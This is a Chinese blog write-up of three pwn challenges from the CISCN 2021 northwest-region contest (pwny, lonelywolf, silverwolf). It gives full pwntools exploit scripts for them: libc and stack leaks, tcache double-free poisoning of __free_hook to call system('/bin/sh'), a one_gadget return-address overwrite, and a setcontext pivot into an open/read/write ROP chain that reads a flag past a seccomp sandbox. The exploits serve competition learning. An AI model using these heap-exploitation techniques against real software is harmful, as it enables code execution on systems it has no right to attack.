ciscn2021西北部分pwn

打了一天的国赛,发现自己还是太菜了

pwny

读取随机数到bss段上作为文件描述符范围在0~0xff之间,又在自定义的函数sub_ba0中发现可以根据偏移进行任意写的操作,sub_b20可以根据偏移进行任意读操作,因此就可以覆盖fd的值,爆破fd使其等于0,我们就可以进行任意读写

在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述

我们可以通过泄露出bss段上的stdout指针指向的_IO_2_1_stdout_的地址来泄露libc的基地址,在通过泄露data段上的off_202008来泄露bss段上的地址,再通过libc上的environ来泄露栈地址。
在这里插入图片描述
因此就可以通过偏移将onegadget直接写入栈上的返回地址中,获得shell。

用爆破调试有点麻烦,发现可以修改二进制程序,将fd直接改成0再进行调试。

exp如下:
from pwn import *
io=process('./pwny')
#io=remote('124.70.20.79',22270)
elf=ELF('./pwny')
#libc=ELF('./libc-2.27.so')
libc=elf.libc
context(log_level='debug')
context.terminal=['tmux','splitw','-h']

def read():
    io.recvuntil('Your choice: ')
    io.send('1 ')
    io.recvuntil('Index: ')

def write(a1):
    io.recvuntil('Your choice: ')
    io.send('2 ')
    io.recvuntil('Index: ')
    #gdb.attach(io)
    io.send(str(a1)+' ')

def exp():
    write(256)
    gdb.attach(io)
    read()
    #io.send('-64\n')
    io.send('\xF8\xFF\xFF\xFF\xFF\xFF\xFF\xff')
    #gdb.attach(io)
    io.recvuntil('Result: ')
    stdout=int(io.recv(12),16)
    print(hex(stdout))
    libcbase = stdout-libc.symbols['_IO_2_1_stdout_']
    print(hex(libcbase))
    system=libcbase+libc.symbols['system']
    stderr=libcbase+libc.symbols['_IO_2_1_stderr_']
    binsh=libcbase+libc.search('/bin/sh').next()
    environ=libcbase+libc.symbols['_environ']
    onegadget=[0x4f3d5,0x4f432,0x10a41c]
    #onegadget=[0x4f365,0x4f3c2,0x10a45c]
    #offset=(environ-(bss_addr+0x60))//8
    #gdb.attach(io)
    read()
    io.send('\xf5\xff\xff\xff\xff\xff\xff\xff')
    io.recvuntil('Result: ')
    bss_addr=int(io.recv(12),16)-8
    print(hex(bss_addr))

    read()
    offset=(environ-(bss_addr+0x60))//8
    io.send(p64(offset))
    io.recvuntil('Result: ')
    stack=int(io.recv(12),16)
    print(hex(stack))


    ret_addr=stack-0x120
    offset=((ret_addr-(bss_addr+0x60))//8)

    write(offset)
    payload=p64(libcbase+onegadget[2])
    io.send(payload)
    io.interactive()
    #io.sendline()

#exp()
i=0
while(i!=100):
    try:
        #io=remote('124.70.20.79',22270)
        io=process('./pwny')
        i+=1
        exp()
    except:
        i+=1
        io.close()

lonelywolf

常规的菜单题
发现漏洞在dele中对free后的指针没有置0
在这里插入图片描述

通过doublefree泄露heap_base控制fd指针来控制tcache_struct,将0x250对应的counts改为\xff在freetcache_struct来泄露libcbase的基地址,最后再通过doublefree修改fd指针为__free_hook-0x8(__free_hook-0x10前8个字节不知道为啥修改不了),在__free_hook-0x8出填上/bin/sh\x00,在__free_hook填上system地址,dele(0),拿到shell。但在打远程的时候,发现报出了doublefree漏洞,将第一次free后的tcache的fd和bk指针置0,在free就行了。

exp如下:

from pwn import *
#io = process('./lonelywolf')
io=remote('124.70.20.79',22175)
#elf=ELF('./lonelywolf')
#libc=elf.libc
libc=ELF('./libc-2.271.so')
#context(log_level='debug')

def add(a1,a2):
    io.sendafter('Your choice: ','1 ')
    io.sendafter('Index: ',str(a1)+' ')
    io.sendafter('Size: ',str(a2)+' ')

def edit(a1,a2):
    io.sendafter('Your choice: ','2 ')
    io.sendafter('Index: ',str(a1)+' ')
    io.sendlineafter('Content: ',a2)

def show(a1):
    io.sendafter('Your choice: ','3 ')
    io.sendafter('Index: ',str(a1)+' ')

def dele(a1):
    io.sendafter('Your choice: ','4 ')
    io.sendafter('Index: ',str(a1)+' ')

def exp():
    add(0,96)#0 0x60
    dele(0)
    edit(0,p64(0)*2)
    dele(0)
    show(0)
    io.recvuntil('Content: ')
    #print(io.recv(6))
    heapbase=u64(io.recv(6).ljust(8,'\x00'))-0x260
    #heapbase=int(io.recv(14),16)
    print(hex(heapbase))
    edit(0,p64(heapbase+0x10))
    add(0,96)
    #pause()
    add(0,96)#tcache
    edit(0,'\x00'*0x20+'\xff'*0x8)
    dele(0)
    #pause()
    show(0)
    io.recvuntil('Content: ')
    malloc_hook=u64(io.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-96-16
    libcbase=malloc_hook-libc.symbols['__malloc_hook']
    print(hex(libcbase))
    free_hook=libcbase+libc.symbols['__free_hook']
    system=libcbase+libc.symbols['system']
    add(0,120)#0x30
    edit(0,'\x00'*0x40)
    #pause()
    dele(0)
    edit(0,p64(0)*2)
    dele(0)
    edit(0,p64(free_hook-0x8)+p64(0))
    add(0,120)
    add(0,120)
    edit(0,'/bin/sh\x00'+p64(system))
    pause()
    dele(0)
    io.interactive()


exp()

silverwolf

是个沙箱堆题,libc2.27,第一次做,发现程序逻辑和上个题一样,知识不能用system,但可以使用open、read、write。思路就是利用libc中的environ将chunk申请到栈上,再覆盖返回地址构造rop(这种思路实现起来有点困难,因为chunk可写的大小最大时0x78),但在调试时发现一进入open函数就报错,我猜测是因为libc中的open函数是open64,所以不能绕过沙箱,先放上我的错误exp(希望哪位大佬可以帮我调试下,帮帮我这个小菜鸡)(问题已解决,感谢 KANGEL12 师傅的提醒。),后续补上正确的exp。
在这里插入图片描述

from pwn import *
io = process('./silverwolf')
#io=remote('124.70.20.79',22220)
elf=ELF('./silverwolf')
libc=elf.libc
#libc=ELF('./libc-2.27.so')

context.terminal=['tmux','splitw','-h']
context(log_level='debug')
#pop_rdi=0x215bf
#pop_rsi=0x23ee
#pop_rdx=0x1b96
#pop_rdx_rsi=0x130569

pop_rax=0x43a78
pop_rdx_rsi=0x130889
pop_rdi=0x2155f
pop_rsi=0x23e8a
pop_rdx=0x1b96

def add(a1,a2):
    io.sendafter('Your choice: ','1 ')
    io.sendafter('Index: ',str(a1)+' ')
    io.sendafter('Size: ',str(a2)+' ')

def edit(a1,a2):
    io.sendafter('Your choice: ','2 ')
    io.sendafter('Index: ',str(a1)+' ')
    io.sendlineafter('Content: ',a2)

def show(a1):
    io.sendafter('Your choice: ','3 ')
    io.sendafter('Index: ',str(a1)+' ')

def dele(a1):
    io.sendafter('Your choice: ','4 ')
    io.sendafter('Index: ',str(a1)+' ')

def exp():
    add(0,80)#0 0x50
    dele(0)
    edit(0,p64(0)*2)
    dele(0)
    show(0)
    io.recvuntil('Content: ')
    #print(io.recv(6))
    heapbase=u64(io.recv(6).ljust(8,'\x00'))-0x1880
    print(hex(heapbase))
    edit(0,p64(heapbase+0x10))
    add(0,80)
    #pause()
    add(0,88)#tcache
    edit(0,'\x00'*6+'\x01'+'\x00'*(0x20-7)+'\xff'*0x8+'\x00'*0x2f)
    add(0,120)
    dele(0)
    edit(0,p64(heapbase+0x40))
    add(0,120)
    add(0,120)#tcache+0x40
    edit(0,'\x00'*0x70)

    add(0,96)
    dele(0)
    edit(0,p64(0)*2)
    dele(0)
    edit(0,p64(heapbase+0x10))
    add(0,96)
    add(0,96)#tcache
    #pause()

    dele(0)
    #pause()
    show(0)
    io.recvuntil('Content: ')
    malloc_hook=u64(io.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-96-16
    libcbase=malloc_hook-libc.symbols['__malloc_hook']
    print(hex(libcbase))
    free_hook=libcbase+libc.symbols['__free_hook']
    environ=libcbase+libc.symbols['environ']
    opens=libcbase+libc.symbols['open']
    reads=libcbase+libc.symbols['read']

    add(0,120)#0x78
    #pause()
    edit(0,'\x00'*0x68+p64(environ))
    add(0,96)#environ
    show(0)
    io.recvuntil('Content: ')
	stack = u64(io.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
    #print(hex(stack))
    #gdb.attach(io)
    #pause()
    add_stack=stack-0x120
    print(hex(add_stack))
    add(0,120)#0x78
    dele(0)
    #pause()
    edit(0,p64(0)*2)
    dele(0)
    edit(0,p64(add_stack))
    add(0,120)
    #pause()
    add(0,120)#stack
    show(0)
    #pause()
    io.recvuntil('Content: ')
    main=u64(io.recv(6).ljust(8,'\x00'))+0x10
    print(hex(main))
   
    #open('./flag',0)
  
    orw=p64(pop_rdi+libcbase)+p64(add_stack+0x60)+p64(pop_rsi+libcbase)+p64(0)+p64(opens)
    #read(fd,buf,0x30)
    orw+=p64(pop_rdi+libcbase)+p64(3)+p64(pop_rdx_rsi+libcbase)+p64(0x30)+p64(heapbase+0x10)+p64(reads)+p64(main)+'./flag\x00\x00'
    #write(fd,buf,0x30)
    #orw+=p64(pop_rdi+libcbase)+p64(1)+p64(pop_rsi+libcbase)+p64(heapbase+0x10)+p64(pop_rdx+libcbase)+p64(0x30)+'./flag\x00\x00'
    print(len(orw))
    gdb.attach(io)
    edit(0,orw)

    add(0,80)
    dele(0)
    edit(0,p64(0)*2)
    dele(0)
    edit(0,p64(heapbase+0x10))
    add(0,80)
    add(0,80)
    #gdb.attach(io)
    #io.recvuntil('\n',timeout=10000000)
    show(0)

exp()
                           

看了南邮师傅们的博客复现了一下,思路主要是,将rop写在堆上,用setcontext函数设置rsp的值也就是栈顶的地址,将栈转移到堆上,执行rop。

正确exp:

f-rom pwn import*
#context.terminal=['tmux','splitw','-h']

def menu(ch):
    p.sendlineafter('choice:',str(ch))
def add(size):
    menu(1)
    p.sendlineafter('Index:',str(0))
    p.sendlineafter('Size:',str(size))
def edit(content):
    menu(2)
    p.sendlineafter('Index:',str(0))
    p.sendlineafter('Content:',content)
def show():
    menu(3)
    p.sendlineafter('Index:',str(0))
def free():
    menu(4)
    p.sendlineafter('Index:',str(0))
#p = process('./silverwolf')
#elf = ELF('./silverwolf')
#libc = elf.libc
libc = ELF('./libc-2.27.so')

for i in range(7):
    add(0x78)
    edit('./flag\x00')
#pause()
for i in range(2):
    edit('\x00'*0x10)
    free()
show()
p.recvuntil('Content: ')
heap_base = u64(p.recv(6).ljust(8,'\x00'))  - 0x5B0 - 0x940 - 0x70
log.info('HEAP:\t' + hex(heap_base))
edit(p64(heap_base + 0x10))
add(0x78)
add(0x78)
edit('\x00'*0x23 + '\x07')
#pause()
free()
show()
libc_base = u64(p.recvuntil('\x7F')[-6:].ljust(8,'\x00')) - libc.sym['__malloc_hook'] - 0x70
log.info('LIBC:\t' + hex(libc_base))

edit('\x03'*0x40 + p64(libc_base + libc.sym['__free_hook']) + '\x00'*8*1 + p64(heap_base + 0x4000) + p64(heap_base + 0x3000 + 0x60) + p64(heap_base + 0x1000) + p64(heap_base + 0x10A0) + p64(heap_base + 0x3000))
#pause()
add(0x18)

                                                                                        ########################
pop_rdi_ret = libc_base + 0x00000000000215BF
pop_rdx_ret = libc_base + 0x0000000000001B96
pop_rax_ret = libc_base + 0x0000000000043AE8
pop_rsi_ret = libc_base + 0x0000000000023EEA
ret = libc_base + 0x00000000000008AA
#pop_rax_ret=0x43a78 + libc_base
#pop_rdx_rsi=0x130889 + libc_base
#pop_rdi_ret=0x2155f + libc_base
#pop_rsi_ret=0x23e8a + libc_base
#pop_rdx_ret=0x1b96 + libc_base

Open = libc_base + libc.sym['open']
Read = libc_base + libc.sym['read']
Write = libc_base + libc.sym['write']
syscall = Read + 15
FLAG  = heap_base + 0x4000
gadget = libc_base + libc.sym['setcontext'] + 53

orw  = p64(pop_rdi_ret) + p64(FLAG)
orw += p64(pop_rsi_ret) + p64(0)
orw += p64(pop_rax_ret) + p64(2)
orw += p64(syscall)
orw += p64(pop_rdi_ret) + p64(3)
orw += p64(pop_rsi_ret) + p64(heap_base  + 0x3000)
orw += p64(pop_rdx_ret) + p64(0x30)
orw += p64(Read)
orw += p64(pop_rdi_ret) + p64(1)
orw += p64(Write)

                                                                                        #############################
#gdb.attach(p)
edit(p64(gadget))
add(0x38)
edit('./flag\x00')
add(0x78)
edit(orw[:0x60])
add(0x48)
edit(orw[0x60:])
add(0x68)
edit(p64(heap_base + 0x3000) + p64(pop_rdi_ret + 1))
add(0x58)
gdb.attach(p)
free()
p.interactive()

  • 3
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 13
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 13
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值